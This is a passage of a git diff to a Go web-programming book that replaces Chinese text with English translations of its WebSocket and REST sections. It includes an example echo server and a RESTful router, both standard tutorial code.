- - - - - -可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。 - -- 1)onopen 建立连接后触发 -- 2)onmessage 收到消息后触发 -- 3)onerror 发生错误时触发 -- 4)onclose 关闭连接时触发 - -我们服务器端的实现如下: - - package main - - import ( - "golang.org/x/net/websocket" - "fmt" - "log" - "net/http" - ) - - func Echo(ws *websocket.Conn) { - var err error - - for { - var reply string - - if err = websocket.Message.Receive(ws, &reply); err != nil { - fmt.Println("Can't receive") - break - } - - fmt.Println("Received back from client: " + reply) - - msg := "Received: " + reply - fmt.Println("Sending to client: " + msg) - - if err = websocket.Message.Send(ws, msg); err != nil { - fmt.Println("Can't send") - break - } - } - } - - func main() { - http.Handle("/", websocket.Handler(Echo)) - - if err := http.ListenAndServe(":1234", nil); err != nil { - log.Fatal("ListenAndServe:", err) - } - } - -当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。 - -![](images/8.2.websocket3.png?raw=true) - -图8.4 WebSocket服务器端接收到的信息 - -通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便,Go的源码net分支中已经实现了这个的协议,我们可以直接拿来用,目前随着HTML5的发展,我想未来WebSocket会是Web开发的一个重点,我们需要储备这方面的知识。 - - -## links - * [目录]() - * 上一节: [Socket编程](<08.1.md>) - * 下一节: [REST](<08.3.md>) +# 8.2 WebSockets + +WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets. + +People often used "roll polling" for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth. + +WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP: + +- Only one TCP connection for a single web client. +- WebSocket servers can push data to web clients. +- Lightweight header to reduce data transmission overhead. + +WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously. + +![](images/8.2.websocket.png?raw=true) + +Figure 8.2 WebSocket principl + +## WebSocket principles + +The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with "\x00" and end with "\xFF". This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically. + +WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called "handshaking". + +Consider the following requests and responses: + +![](images/8.2.websocket2.png?raw=true) + +Figure 8.3 WebSocket request and response. + +"Sec-WebSocket-key" is generated randomly, as you may have already guessed, and it's base64 encoded. Servers need to append this key to a fixed string after accepting a request: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Suppose we have `f7cb4ezEAl6C3wRaU6JORA==`, then we have: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +Use sha1 to compute the binary value and use base64 to encode it. We will then we have: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +Use this as the value of the `Sec-WebSocket-Accept` response header. + +## WebSocket in Go + +The Go standard library does not support WebSockets. However the `websocket` package, which is a sub-package of `go.net` does, and is officially maintained and supported. + +Use `go get` to install this package: + + go get code.google.com/p/go.net/websocket + +WebSockets have both client and server sides. Let's see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client. + +Client code: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + +As you can see, it's very easy to use the client side JavaScript functions to establish a connection. The `onopen` event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events: + +- 1)onopen: triggered after connection has been established. +- 2)onmessage: triggered after receiving a message. +- 3)onerror: triggered after an error has occurred.. +- 4)onclose: triggered after the connection has closed. + +Server code: + + package main + + import ( + "code.google.com/p/go.net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +When a client `Send`s user input information, the server `Receive`s it, and uses `Send` once again to return a response. + +![](images/8.2.websocket3.png?raw=true) + +Figure 8.4 WebSocket server received information. + +Through the example above, we can see that the client and server side implementation of WebSockets is very convenient. We can use the `net` package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them. + +## Links + +- [Directory](preface.md) +- Previous section: [Sockets](08.1.md) +- Next section: [REST](08.3.md) diff --git a/en/08.2.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.2.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..50c6eaea --- /dev/null +++ b/en/08.2.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,151 @@ +# 8.2 WebSocket +WebSocket是HTML5的重要特性,它实现了基于浏览器的远程socket,它使浏览器和服务器可以进行全双工通信,许多浏览器(Firefox、Google Chrome和Safari)都已对此做了支持。 + +在WebSocket出现之前,为了实现即时通信,采用的技术都是“轮询”,即在特定的时间间隔内,由浏览器对服务器发出HTTP Request,服务器在收到请求后,返回最新的数据给浏览器刷新,“轮询”使得浏览器需要对服务器不断发出请求,这样会占用大量带宽。 + +WebSocket采用了一些特殊的报头,使得浏览器和服务器只需要做一个握手的动作,就可以在浏览器和服务器之间建立一条连接通道。且此连接会保持在活动状态,你可以使用JavaScript来向连接写入或从中接收数据,就像在使用一个常规的TCP Socket一样。它解决了Web实时化的问题,相比传统HTTP有如下好处: + +- 一个Web客户端只建立一个TCP连接 +- Websocket服务端可以推送(push)数据到web客户端. +- 有更加轻量级的头,减少数据传送量 + +WebSocket URL的起始输入是ws://或是wss://(在SSL上)。下图展示了WebSocket的通信过程,一个带有特定报头的HTTP握手被发送到了服务器端,接着在服务器端或是客户端就可以通过JavaScript来使用某种套接口(socket),这一套接口可被用来通过事件句柄异步地接收数据。 + +![](images/8.2.websocket.png?raw=true) + +图8.2 WebSocket原理图 + +## WebSocket原理 +WebSocket的协议颇为简单,在第一次handshake通过以后,连接便建立成功,其后的通讯数据都是以”\x00″开头,以”\xFF”结尾。在客户端,这个是透明的,WebSocket组件会自动将原始数据“掐头去尾”。 + +浏览器发出WebSocket连接请求,然后服务器发出回应,然后连接建立成功,这个过程通常称为“握手” (handshaking)。请看下面的请求和反馈信息: + +![](images/8.2.websocket2.png?raw=true) + +图8.3 WebSocket的request和response信息 + +在请求中的"Sec-WebSocket-Key"是随机的,对于整天跟编码打交到的程序员,一眼就可以看出来:这个是一个经过base64编码后的数据。服务器端接收到这个请求之后需要把这个字符串连接上一个固定的字符串: + + 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +即:`f7cb4ezEAl6C3wRaU6JORA==`连接上那一串固定字符串,生成一个这样的字符串: + + f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 + +对该字符串先用 sha1安全散列算法计算出二进制的值,然后用base64对其进行编码,即可以得到握手后的字符串: + + rE91AJhfC+6JdVcVXOGJEADEJdQ= + +将之作为响应头`Sec-WebSocket-Accept`的值反馈给客户端。 + +## Go实现WebSocket +Go语言标准包里面没有提供对WebSocket的支持,但是在由官方维护的go.net子包中有对这个的支持,你可以通过如下的命令获取该包: + + go get code.google.com/p/go.net/websocket + +WebSocket分为客户端和服务端,接下来我们将实现一个简单的例子:用户输入信息,客户端通过WebSocket将信息发送给服务器端,服务器端收到信息之后主动Push信息到客户端,然后客户端将输出其收到的信息,客户端的代码如下: + + + + + +

WebSocket Echo Test

+
+

+ Message: +

+
+ + + + + +可以看到客户端JS,很容易的就通过WebSocket函数建立了一个与服务器的连接sock,当握手成功后,会触发WebScoket对象的onopen事件,告诉客户端连接已经成功建立。客户端一共绑定了四个事件。 + +- 1)onopen 建立连接后触发 +- 2)onmessage 收到消息后触发 +- 3)onerror 发生错误时触发 +- 4)onclose 关闭连接时触发 + +我们服务器端的实现如下: + + package main + + import ( + "golang.org/x/net/websocket" + "fmt" + "log" + "net/http" + ) + + func Echo(ws *websocket.Conn) { + var err error + + for { + var reply string + + if err = websocket.Message.Receive(ws, &reply); err != nil { + fmt.Println("Can't receive") + break + } + + fmt.Println("Received back from client: " + reply) + + msg := "Received: " + reply + fmt.Println("Sending to client: " + msg) + + if err = websocket.Message.Send(ws, msg); err != nil { + fmt.Println("Can't send") + break + } + } + } + + func main() { + http.Handle("/", websocket.Handler(Echo)) + + if err := http.ListenAndServe(":1234", nil); err != nil { + log.Fatal("ListenAndServe:", err) + } + } + +当客户端将用户输入的信息Send之后,服务器端通过Receive接收到了相应信息,然后通过Send发送了应答信息。 + +![](images/8.2.websocket3.png?raw=true) + +图8.4 WebSocket服务器端接收到的信息 + +通过上面的例子我们看到客户端和服务器端实现WebSocket非常的方便,Go的源码net分支中已经实现了这个的协议,我们可以直接拿来用,目前随着HTML5的发展,我想未来WebSocket会是Web开发的一个重点,我们需要储备这方面的知识。 + + +## links + * [目录]() + * 上一节: [Socket编程](<08.1.md>) + * 下一节: [REST](<08.3.md>) diff --git a/en/08.3.md b/en/08.3.md index 57a9df8d..3323135f 100644 --- a/en/08.3.md +++ b/en/08.3.md @@ -1,114 +1,123 @@ -# 8.3 REST -RESTful,是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便,所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构?以及在Go里面如何来实现它。 -## 什么是REST -REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding(他是HTTP规范的主要编写者之一)的博士论文中,它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。 - -要理解什么是REST,我们需要理解下面几个概念: - -- 资源(Resources) - REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。 - - 那么什么是资源呢?就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位,也就是一个URI表示一个资源。 - -- 表现层(Representation) - - 资源是做一个具体的实体信息,他可以有多种的展现方式。而把实体展现出来就是表现层,例如一个txt文本信息,他可以输出成html、json、xml等格式,一个图片他可以jpg、png等方式展现,这个就是表现层的意思。 - - URI确定一个资源,但是如何确定它的具体表现形式呢?应该在HTTP请求的头信息中用Accept和Content-Type字段指定,这两个字段才是对"表现层"的描述。 - -- 状态转化(State Transfer) - - 访问一个网站,就代表了客户端和服务器的一个互动过程。在这个过程中,肯定涉及到数据和状态的变化。而HTTP协议是无状态的,那么这些状态肯定保存在服务器端,所以如果客户端想要通知服务器端改变数据和状态的变化,肯定要通过某种方式来通知它。 - - 客户端能通知服务器端的手段,只能是HTTP协议。具体来说,就是HTTP协议里面,四个表示操作方式的动词:GET、POST、PUT、DELETE。它们分别对应四种基本操作:GET用来获取资源,POST用来新建资源(也可以用于更新资源),PUT用来更新资源,DELETE用来删除资源。 - -综合上面的解释,我们总结一下什么是RESTful架构: - -- (1)每一个URI代表一种资源; -- (2)客户端和服务器之间,传递这种资源的某种表现层; -- (3)客户端通过四个HTTP动词,对服务器端资源进行操作,实现"表现层状态转化"。 - - -Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。 - -另一个重要的REST原则是系统分层,这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层,可以限制整个系统的复杂性,从而促进了底层的独立性。 - -下图即是REST的架构图: - -![](images/8.3.rest2.png?raw=true) - -图8.5 REST架构图 - -当REST架构的约束条件作为一个整体应用时,将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构,改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现,而且对于使用REST开发的应用程序更加容易扩展。 - -下图展示了REST的扩展性: - -![](images/8.3.rest.png?raw=true) - -图8.6 REST的扩展性 - -## RESTful的实现 -Go没有为REST提供直接支持,但是因为RESTful是基于HTTP协议实现的,所以我们可以利用`net/http`包来自己实现,当然需要针对REST做一些改造,REST是根据不同的method来处理相应的资源,目前已经存在的很多自称是REST的应用,其实并没有真正的实现REST,我暂且把这些应用根据实现的method分成几个级别,请看下图: - -![](images/8.3.rest3.png?raw=true) - -图8.7 REST的level分级 - -上图展示了我们目前实现REST的三个level,我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式,因为有些时候完全按照RESTful的方式未必是可行的,RESTful服务充分利用每一个HTTP方法,包括`DELETE`和`PUT`。可有时,HTTP客户端只能发出`GET`和`POST`请求: - -- HTML标准只能通过链接和表单支持`GET`和`POST`。在没有Ajax支持的网页浏览器中不能发出`PUT`或`DELETE`命令 - -- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。 - -我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT`、`DELETE`等方式,但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RESTful来实现是很容易的,我们通过下面的例子来说明如何实现RESTful的应用设计。 - - package main - - import ( - "fmt" - "github.com/drone/routes" - "net/http" - ) - - func getuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are get user %s", uid) - } - - func modifyuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are modify user %s", uid) - } - - func deleteuser(w http.ResponseWriter, r *http.Request) { - params := r.URL.Query() - uid := params.Get(":uid") - fmt.Fprintf(w, "you are delete user %s", uid) - } - - func adduser(w http.ResponseWriter, r *http.Request) { - uid := r.FormValue("uid") - fmt.Fprint(w, "you are add user %s", uid) - } - - func main() { - mux := routes.New() - mux.Get("/user/:uid", getuser) - mux.Post("/user/", adduser) - mux.Del("/user/:uid", deleteuser) - mux.Put("/user/:uid", modifyuser) - http.Handle("/", mux) - http.ListenAndServe(":8088", nil) - } - -上面的代码演示了如何编写一个REST的应用,我们访问的资源是用户,我们通过不同的method来访问不同的函数,这里使用了第三方库`github.com/drone/routes`,在前面章节我们介绍过如何实现自定义的路由器,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构。通过上面的代码可知,REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。 - -## 总结 -REST是一种架构风格,汲取了WWW的成功经验:无状态,以资源为中心,充分利用HTTP协议和URI协议,提供统一的接口定义,使得它作为一种设计Web服务的方法而变得流行。在某种意义上,通过强调URI和HTTP等早期Internet标准,REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的,通过实现自定义的路由规则,我们就可以为不同的method实现不同的handle,这样就实现了REST的架构。 - -## links - * [目录]() - * 上一节: [WebSocket](<08.2.md>) - * 下一节: [RPC](<08.4.md>) +# 8.3 REST + +REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it's easy to understand and expand. mOre and more websites are basing their designs on to top of it. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit. + +## What is REST? + +The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding's doctoral dissertation, who is also just happens to be the co-founder of the HTTP protocol. It specifies the architecture's constraints and principles and anything implemented with architecture can be called a RESTful system. + +Before we understand what REST is, we need to cover the following concepts: + +- Resources + + REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentation layer. + + So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by URI. + +- Representation + + Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc. + + URIs are used to identify resources, but how do we determine its specific manifestations? You should the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer. + +- State Transfer + + An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you'll recall that HTTP is a stateless protocol! It's obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state. + + Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this: + + -GET is used to obtain resources + -POSTs is used to create or update resources + -PUT updates resources + -DELETE deletes resources + +To summarize the above: + +- (1)Every URI reresents a resource. +- (2)There is a representation layer for transferring resources between clients and servers. +- (3)Clients use four HTTP methods to implement "Presentation Layer State Transfer", allowing them to operate on remote resources. + +The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at anytime without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it's stateless, clients can cache data for improving performance. + +Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components. + +![](images/8.3.rest2.png?raw=true) + +Figure 8.5 REST architecture + +When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points. + +![](images/8.3.rest.png?raw=true) + +Figure 8.6 REST's expansibility. + +## RESTful implementation + +Go doesn't have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the `net/http` package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST. + +REST uses different methods to handle resources, depending on the interaction that's required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I'm going to categorize these applications into several levels depends on which HTTP methods they implement. + +![](images/8.3.rest3.png?raw=true) + +Figure 8.7 REST's level. + +The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developping your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including `DELETE` and `PUT`, but in many cases, HTTP clients can only send `GET` and `POST` requests. + +- HTML standard allows clients send `GET` and `POST` requests through links and forms. It's not possible to send `PUT` or `DELETE` requests without AJAX support. +- Some firewalls intercept `PUT` and `DELETE` requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them. + +We can simulate `PUT` and `DELETE` requests by adding a hidden `_method` field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates: + + package main + + import ( + "fmt" + "github.com/drone/routes" + "net/http" + ) + + func getuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprint(w, "you are add user %s", uid) + } + + func main() { + mux := routes.New() + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + mux.Del("/user/:uid", deleteuser) + mux.Put("/user/", adduser) + http.Handle("/", mux) + http.ListenAndServe(":8088", nil) + } + +This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called `github.com/drone/routes`. We've already covered how to implement a custom router in previous chapters -the `drone/routes` package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource. + +## Summary + +REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations has allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps. + +## Links + +- [Directory](preface.md) +- Previous section: [WebSocket](08.2.md) +- Next section: [RPC](08.4.md) diff --git a/en/08.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/08.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..3bae24fb --- /dev/null +++ b/en/08.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,114 @@ +# 8.3 REST +RESTful,是目前最为流行的一种互联网软件架构。因为它结构清晰、符合标准、易于理解、扩展方便,所以正得到越来越多网站的采用。本小节我们将来学习它到底是一种什么样的架构?以及在Go里面如何来实现它。 +## 什么是REST +REST(REpresentational State Transfer)这个概念,首次出现是在 2000年Roy Thomas Fielding(他是HTTP规范的主要编写者之一)的博士论文中,它指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是RESTful的。 + +要理解什么是REST,我们需要理解下面几个概念: + +- 资源(Resources) + REST是"表现层状态转化",其实它省略了主语。"表现层"其实指的是"资源"的"表现层"。 + + 那么什么是资源呢?就是我们平常上网访问的一张图片、一个文档、一个视频等。这些资源我们通过URI来定位,也就是一个URI表示一个资源。 + +- 表现层(Representation) + + 资源是做一个具体的实体信息,他可以有多种的展现方式。而把实体展现出来就是表现层,例如一个txt文本信息,他可以输出成html、json、xml等格式,一个图片他可以jpg、png等方式展现,这个就是表现层的意思。 + + URI确定一个资源,但是如何确定它的具体表现形式呢?应该在HTTP请求的头信息中用Accept和Content-Type字段指定,这两个字段才是对"表现层"的描述。 + +- 状态转化(State Transfer) + + 访问一个网站,就代表了客户端和服务器的一个互动过程。在这个过程中,肯定涉及到数据和状态的变化。而HTTP协议是无状态的,那么这些状态肯定保存在服务器端,所以如果客户端想要通知服务器端改变数据和状态的变化,肯定要通过某种方式来通知它。 + + 客户端能通知服务器端的手段,只能是HTTP协议。具体来说,就是HTTP协议里面,四个表示操作方式的动词:GET、POST、PUT、DELETE。它们分别对应四种基本操作:GET用来获取资源,POST用来新建资源(也可以用于更新资源),PUT用来更新资源,DELETE用来删除资源。 + +综合上面的解释,我们总结一下什么是RESTful架构: + +- (1)每一个URI代表一种资源; +- (2)客户端和服务器之间,传递这种资源的某种表现层; +- (3)客户端通过四个HTTP动词,对服务器端资源进行操作,实现"表现层状态转化"。 + + +Web应用要满足REST最重要的原则是:客户端和服务器之间的交互在请求之间是无状态的,即从客户端到服务器的每个请求都必须包含理解请求所必需的信息。如果服务器在请求之间的任何时间点重启,客户端不会得到通知。此外此请求可以由任何可用服务器回答,这十分适合云计算之类的环境。因为是无状态的,所以客户端可以缓存数据以改进性能。 + +另一个重要的REST原则是系统分层,这表示组件无法了解除了与它直接交互的层次以外的组件。通过将系统知识限制在单个层,可以限制整个系统的复杂性,从而促进了底层的独立性。 + +下图即是REST的架构图: + +![](images/8.3.rest2.png?raw=true) + +图8.5 REST架构图 + +当REST架构的约束条件作为一个整体应用时,将生成一个可以扩展到大量客户端的应用程序。它还降低了客户端和服务器之间的交互延迟。统一界面简化了整个系统架构,改进了子系统之间交互的可见性。REST简化了客户端和服务器的实现,而且对于使用REST开发的应用程序更加容易扩展。 + +下图展示了REST的扩展性: + +![](images/8.3.rest.png?raw=true) + +图8.6 REST的扩展性 + +## RESTful的实现 +Go没有为REST提供直接支持,但是因为RESTful是基于HTTP协议实现的,所以我们可以利用`net/http`包来自己实现,当然需要针对REST做一些改造,REST是根据不同的method来处理相应的资源,目前已经存在的很多自称是REST的应用,其实并没有真正的实现REST,我暂且把这些应用根据实现的method分成几个级别,请看下图: + +![](images/8.3.rest3.png?raw=true) + +图8.7 REST的level分级 + +上图展示了我们目前实现REST的三个level,我们在应用开发的时候也不一定全部按照RESTful的规则全部实现他的方式,因为有些时候完全按照RESTful的方式未必是可行的,RESTful服务充分利用每一个HTTP方法,包括`DELETE`和`PUT`。可有时,HTTP客户端只能发出`GET`和`POST`请求: + +- HTML标准只能通过链接和表单支持`GET`和`POST`。在没有Ajax支持的网页浏览器中不能发出`PUT`或`DELETE`命令 + +- 有些防火墙会挡住HTTP `PUT`和`DELETE`请求要绕过这个限制,客户端需要把实际的`PUT`和`DELETE`请求通过 POST 请求穿透过来。RESTful 服务则要负责在收到的 POST 请求中找到原始的 HTTP 方法并还原。 + +我们现在可以通过`POST`里面增加隐藏字段`_method`这种方式可以来模拟`PUT`、`DELETE`等方式,但是服务器端需要做转换。我现在的项目里面就按照这种方式来做的REST接口。当然Go语言里面完全按照RESTful来实现是很容易的,我们通过下面的例子来说明如何实现RESTful的应用设计。 + + package main + + import ( + "fmt" + "github.com/drone/routes" + "net/http" + ) + + func getuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are get user %s", uid) + } + + func modifyuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are modify user %s", uid) + } + + func deleteuser(w http.ResponseWriter, r *http.Request) { + params := r.URL.Query() + uid := params.Get(":uid") + fmt.Fprintf(w, "you are delete user %s", uid) + } + + func adduser(w http.ResponseWriter, r *http.Request) { + uid := r.FormValue("uid") + fmt.Fprint(w, "you are add user %s", uid) + } + + func main() { + mux := routes.New() + mux.Get("/user/:uid", getuser) + mux.Post("/user/", adduser) + mux.Del("/user/:uid", deleteuser) + mux.Put("/user/:uid", modifyuser) + http.Handle("/", mux) + http.ListenAndServe(":8088", nil) + } + +上面的代码演示了如何编写一个REST的应用,我们访问的资源是用户,我们通过不同的method来访问不同的函数,这里使用了第三方库`github.com/drone/routes`,在前面章节我们介绍过如何实现自定义的路由器,这个库实现了自定义路由和方便的路由规则映射,通过它,我们可以很方便的实现REST的架构。通过上面的代码可知,REST就是根据不同的method访问同一个资源的时候实现不同的逻辑处理。 + +## 总结 +REST是一种架构风格,汲取了WWW的成功经验:无状态,以资源为中心,充分利用HTTP协议和URI协议,提供统一的接口定义,使得它作为一种设计Web服务的方法而变得流行。在某种意义上,通过强调URI和HTTP等早期Internet标准,REST是对大型应用程序服务器时代之前的Web方式的回归。目前Go对于REST的支持还是很简单的,通过实现自定义的路由规则,我们就可以为不同的method实现不同的handle,这样就实现了REST的架构。 + +## links + * [目录]() + * 上一节: [WebSocket](<08.2.md>) + * 下一节: [RPC](<08.4.md>) diff --git a/en/08.4.md b/en/08.4.md index b89edbd1..2259d222 100644 --- a/en/08.4.md +++ b/en/08.4.md @@ -1,392 +1,400 @@ -# 8.4 RPC -前面几个小节我们介绍了如何基于Socket和HTTP来编写网络应用,通过学习我们了解了Socket和HTTP采用的是类似"信息交换"模式,即客户端发送一条信息到服务端,然后(一般来说)服务器端都会返回一定的信息以表示响应。客户端和服务端之间约定了交互信息的格式,以便双方都能够解析交互所产生的信息。但是很多独立的应用并没有采用这种模式,而是采用类似常规的函数调用的方式来完成想要的功能。 - -RPC就是想实现函数调用模式的网络化。客户端就像调用本地函数一样,然后客户端把这些参数打包之后通过网络传递到服务端,服务端解包到处理过程中执行,然后执行的结果反馈给客户端。 - -RPC(Remote Procedure Call Protocol)——远程过程调用协议,是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。它假定某些传输协议的存在,如TCP或UDP,以便为通信程序之间携带信息数据。通过它可以使函数调用模式网络化。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发包括网络分布式多程序在内的应用程序更加容易。 - -## RPC工作原理 - -![](images/8.4.rpc.png?raw=true) - -图8.8 RPC工作流程图 - -运行时,一次客户机对服务器的RPC调用,其内部操作大致有如下十步: - -- 1.调用客户端句柄;执行传送参数 -- 2.调用本地系统内核发送网络消息 -- 3.消息传送到远程主机 -- 4.服务器句柄得到消息并取得参数 -- 5.执行远程过程 -- 6.执行的过程将结果返回服务器句柄 -- 7.服务器句柄返回结果,调用远程系统内核 -- 8.消息传回本地主机 -- 9.客户句柄由内核接收消息 -- 10.客户接收句柄返回的数据 - -## Go RPC -Go标准包中已经提供了对RPC的支持,而且支持三个级别的RPC:TCP、HTTP、JSONRPC。但Go的RPC包是独一无二的RPC,它和传统的RPC系统不同,它只支持Go开发的服务器与客户端之间的交互,因为在内部,它们采用了Gob来编码。 - -Go RPC的函数只有符合下面的条件才能被远程访问,不然会被忽略,详细的要求如下: - -- 函数必须是导出的(首字母大写) -- 必须有两个导出类型的参数, -- 第一个参数是接收的参数,第二个参数是返回给客户端的参数,第二个参数必须是指针类型的 -- 函数还要有一个返回值error - -举个例子,正确的RPC函数格式如下: - - func (t *T) MethodName(argType T1, replyType *T2) error - -T、T1和T2类型必须能被`encoding/gob`包编解码。 - -任何的RPC都需要通过网络来传递数据,Go RPC可以利用HTTP和TCP来传递数据,利用HTTP的好处是可以直接复用`net/http`里面的一些函数。详细的例子请看下面的实现 - -### HTTP RPC 